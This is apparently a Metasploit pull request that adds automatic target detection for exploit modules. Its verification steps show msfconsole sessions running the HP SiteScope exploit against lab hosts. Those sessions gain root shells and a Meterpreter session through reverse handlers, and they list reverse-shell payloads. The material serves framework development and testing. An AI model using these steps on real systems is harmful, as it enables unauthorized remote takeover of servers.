rapid7/metasploit-framework — pull request #2806 by jvazquez-r7 (2013-12-27 23:41:10+00:00)
Title: Auto target auto detection capability on aggressive exploits, more realistic multi-platform support

This pull request tries to add a more realistic multi-platform exploits support, with a very important requirement: minimize modifications of the current logic / behaviout in the framework

* It only works for Aggressive exploits, Passive expoits (browser exploits for example) don't benefit of this change.
* The responsability to add the auto detection code is of the module.
* The cmd_exploit handler will try to execute the platform auto detection code (from the module) before choosing
a payload and calling to exploit_simple. I think this is the way to minimize impact into the framework, but feedback is super welcome, of course.
* The cmd_exploit only will try to auto detect target when the module defines an Automatic target, with an ":auto_target" option, this target is set (or set as default and no target selected), and the module provides an "auto_target" method.
* In order to minimize modifications on the framework, the Exploit CommandDispatcher needs to modify the datastore['TARGET'] if auto_target is used and a target is found. It is important to update the datastore option because the module will use it later every time tries to access the "target". In this way only code additions. No need to modify actual code. On the other hand the CommandDispatcher modifies datastore options where choosing the payload, so hope it is good enough. Anyway discussion is super welcome!
* The framework code I've added is documented, so I think it's better to read it than repeat every step here :) Feel free to add comments, ask me directly if there are doubts/comments.

This pull request adds the necessary code into the framework, and modifies a module to test the change on a real module. In order to build vulnerable environments for the module use the steps documented on #2786

On the other side, it is important code framework, **so it requires carefully review, and discussion!!!*** I can be forgetting something important on these modifications, so feel free to criticize! Indeed I won't be hurt if this pull request isn't landed finally. I'm just trying to learn the secrets of the framework =)

Verification
============

Usage
-----

- [ ] Run the msfconsole
- [ ] use exploit/multi/http/hp_sitescope_issuesiebelcmd
- [ ] show targets, verity there are three targets, and one of them is automatic

```
msf exploit(hp_sitescope_issuesiebelcmd) > show targets

Exploit targets:

Id Name
-- ----
0 Automatic
1 HP SiteScope 11.20 / Windows
2 HP SiteScope 11.20 / Linux
```

- [ ] show options, verify the target by default is automatic:

```
msf exploit(hp_sitescope_issuesiebelcmd) > show options

Module options (exploit/multi/http/hp_sitescope_issuesiebelcmd):

Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no Use a proxy chain
RHOST yes The target address
RPORT 8080 yes The target port
TARGETURI /SiteScope/ yes Path to SiteScope
VHOST no HTTP server virtual host

Exploit target:

Id Name
-- ----
0 Automatic

```

- [ ] set rhost [linux_target_host]
- [ ] exploit
- [ ] Verify you get a session

```
msf exploit(hp_sitescope_issuesiebelcmd) > set rhost 192.168.172.133
rhost => 192.168.172.133
msf exploit(hp_sitescope_issuesiebelcmd) > exploit

[*] Started reverse handler on 192.168.172.1:4444
[*] 192.168.172.133:8080 - Executing payload...
[*] Command shell session 1 opened (192.168.172.1:4444 -> 192.168.172.133:39924) at 2013-12-27 16:59:41 -0600

id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_java_t:s0-s0:c0.c1023
```

- [ ] show options, verify the linux target and a compatible payload has been automatically selected

```
msf exploit(hp_sitescope_issuesiebelcmd) > show options

Module options (exploit/multi/http/hp_sitescope_issuesiebelcmd):

Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no Use a proxy chain
RHOST 192.168.172.133 yes The target address
RPORT 8080 yes The target port
TARGETURI /SiteScope/ yes Path to SiteScope
VHOST no HTTP server virtual host

Payload options (cmd/unix/reverse_perl):

Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.172.1 yes The listen address
LPORT 4444 yes The listen port

Exploit target:

Id Name
-- ----
2 HP SiteScope 11.20 / Linux
```

- [ ] set target 0 (automatic target again)
- [ ] set rhost
- [ ] exploit
- [ ] Verify windows target is detected and a new session is got

```
msf exploit(hp_sitescope_issuesiebelcmd) > set rhost 192.168.172.136
rhost => 192.168.172.136
msf exploit(hp_sitescope_issuesiebelcmd) > set target 0
target => 0
msf exploit(hp_sitescope_issuesiebelcmd) > exploit

[*] Started reverse handler on 192.168.172.1:4444
[*] 192.168.172.136:8080 - Delivering payload...
[*] Command Stager progress - 7.92% done (7999/101010 bytes)
[*] Command Stager progress - 15.84% done (15998/101010 bytes)
[*] Command Stager progress - 23.76% done (23997/101010 bytes)
[*] Command Stager progress - 31.68% done (31996/101010 bytes)
[*] Command Stager progress - 39.60% done (39995/101010 bytes)
[*] Command Stager progress - 47.51% done (47994/101010 bytes)
[*] Command Stager progress - 55.43% done (55993/101010 bytes)
[*] Command Stager progress - 63.35% done (63992/101010 bytes)
[*] Command Stager progress - 71.27% done (71991/101010 bytes)
[*] Command Stager progress - 79.19% done (79990/101010 bytes)
[*] Command Stager progress - 87.11% done (87989/101010 bytes)
[*] Command Stager progress - 95.03% done (95988/101010 bytes)
[*] Sending stage (769024 bytes) to 192.168.172.136
[*] Command Stager progress - 100.01% done (101016/101010 bytes)
[*] Meterpreter session 2 opened (192.168.172.1:4444 -> 192.168.172.136:1578) at 2013-12-27 17:00:55 -0600

meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.172.136 - Meterpreter session 2 closed. Reason: User exit
```

- [ ] show options, verify the windows target, and a windows payload have been automatically set

```
msf exploit(hp_sitescope_issuesiebelcmd) > show options

Module options (exploit/multi/http/hp_sitescope_issuesiebelcmd):

Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no Use a proxy chain
RHOST 192.168.172.136 yes The target address
RPORT 8080 yes The target port
TARGETURI /SiteScope/ yes Path to SiteScope
VHOST no HTTP server virtual host

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh, thread, process, none
LHOST 192.168.172.1 yes The listen address
LPORT 4444 yes The listen port

Exploit target:

Id Name
-- ----
1 HP SiteScope 11.20 / Windows
```

- [ ] set target 2 (linux)
- [ ] set rhost
- [ ] exploit
- [ ] VERIFY which an error because of an incompatible payload is show

```
msf exploit(hp_sitescope_issuesiebelcmd) > set target 2
target => 2
msf exploit(hp_sitescope_issuesiebelcmd) > set rhost 192.168.172.133
rhost => 192.168.172.133
msf exploit(hp_sitescope_issuesiebelcmd) > exploit

[-] Exploit failed: windows/meterpreter/reverse_tcp is not a compatible payload.
[*] Exploit completed, but no session was created.
```

- [ ] set payload [tab][tab]

- [ ] Verify which compatible (linux target) payloads are show

```
msf exploit(hp_sitescope_issuesiebelcmd) > set payload cmd/unix/
set payload cmd/unix/bind_awk set payload cmd/unix/reverse_openssl
set payload cmd/unix/bind_perl set payload cmd/unix/reverse_perl
set payload cmd/unix/bind_perl_ipv6 set payload cmd/unix/reverse_perl_ssl
set payload cmd/unix/reverse_awk set payload cmd/unix/reverse_python
set payload cmd/unix/reverse_bash set payload cmd/unix/reverse_python_ssl
set payload cmd/unix/reverse_bash_telnet_ssl
```

- [ ] set payload cmd/unix/reverse_perl
- [ ] exploit
- [ ] VERIFY a session is got

```
msf exploit(hp_sitescope_issuesiebelcmd) > exploit

[*] Started reverse handler on 192.168.172.1:4444
[*] 192.168.172.133:8080 - Executing payload...
[*] Command shell session 3 opened (192.168.172.1:4444 -> 192.168.172.133:39925) at 2013-12-27 17:11:19 -0600

id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_java_t:s0-s0:c0.c1023
^C
```

Exceptions
----------

- [ ] Run msfconsole
- [ ] use exploit/multi/http/hp_sitescope_issuesiebelcmd
- [ ] set target 0 (Automatic)
- [ ] set rhost "" (empty)
- [ ] exploit
- [ ] VERIFY there is handled Exploit Exception, there is no call stack, and the module doesn't continue:

```
msf exploit(hp_sitescope_issuesiebelcmd) > set rhost ""
rhost =>
msf exploit(hp_sitescope_issuesiebelcmd) > exploit
[-] Exploit exception (multi/http/hp_sitescope_issuesiebelcmd): Msf::OptionValidateError The following options failed to validate: RHOST.
msf exploit(hp_sitescope_issuesiebelcmd) >
```

- [ ] set rhost
- [ ] exploit
- [ ] verify there is an Exploit Exception while verification, the call stack IS hown because of HostUnreachable, but the module tries to continue anyway!

```
msf exploit(hp_sitescope_issuesiebelcmd) > exploit
[-] Exploit exception (multi/http/hp_sitescope_issuesiebelcmd): Rex::HostUnreachable The host (192.168.172.144:8080) was unreachable.
[-] Call stack:
[-] /Users/juan/Projects/git/metasploit-framework/lib/rex/socket/comm/local.rb:294:in `rescue in create_by_type'
[-] /Users/juan/Projects/git/metasploit-framework/lib/rex/socket/comm/local.rb:274:in `create_by_type'
[-] /Users/juan/Projects/git/metasploit-framework/lib/rex/socket/comm/local.rb:33:in `create'
[-] /Users/juan/Projects/git/metasploit-framework/lib/rex/socket.rb:47:in `create_param'
[-] /Users/juan/Projects/git/metasploit-framework/lib/rex/socket/tcp.rb:37:in `create_param'
[-] /Users/juan/Projects/git/metasploit-framework/lib/rex/socket/tcp.rb:28:in `create'
[-] /Users/juan/Projects/git/metasploit-framework/lib/rex/proto/http/client.rb:182:in `connect'
[-] /Users/juan/Projects/git/metasploit-framework/lib/rex/proto/http/client.rb:248:in `send_request'
[-] /Users/juan/Projects/git/metasploit-framework/lib/rex/proto/http/client.rb:234:in `_send_recv'
[-] /Users/juan/Projects/git/metasploit-framework/lib/rex/proto/http/client.rb:215:in `send_recv'
[-] /Users/juan/Projects/git/metasploit-framework/lib/msf/core/exploit/http/client.rb:280:in `send_request_cgi'
[-] /Users/juan/Projects/git/metasploit-framework/modules/exploits/multi/http/hp_sitescope_issuesiebelcmd.rb:94:in `send_soap_request'
[-] /Users/juan/Projects/git/metasploit-framework/modules/exploits/multi/http/hp_sitescope_issuesiebelcmd.rb:100:in `auto_target'
[-] /Users/juan/Projects/git/metasploit-framework/lib/msf/ui/console/command_dispatcher/exploit.rb:299:in `get_auto_target'
[-] /Users/juan/Projects/git/metasploit-framework/lib/msf/ui/console/command_dispatcher/exploit.rb:109:in `cmd_exploit'
[-] /Users/juan/Projects/git/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:427:in `run_command'
[-] /Users/juan/Projects/git/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:389:in `block in run_single'
[-] /Users/juan/Projects/git/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:383:in `each'
[-] /Users/juan/Projects/git/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:383:in `run_single'
[-] /Users/juan/Projects/git/metasploit-framework/lib/rex/ui/text/shell.rb:200:in `run'
[-] ./msfconsole:148:in `

'

[*] Started reverse handler on 192.168.172.1:4444
^C[*] Exploit completed, but no session was created.
```

Additional Tests
----------------

- [ ] Additionally, feel free to try any existent module, if any existent module doesn't prior to this pull request, it is an stopper and should be reviewd.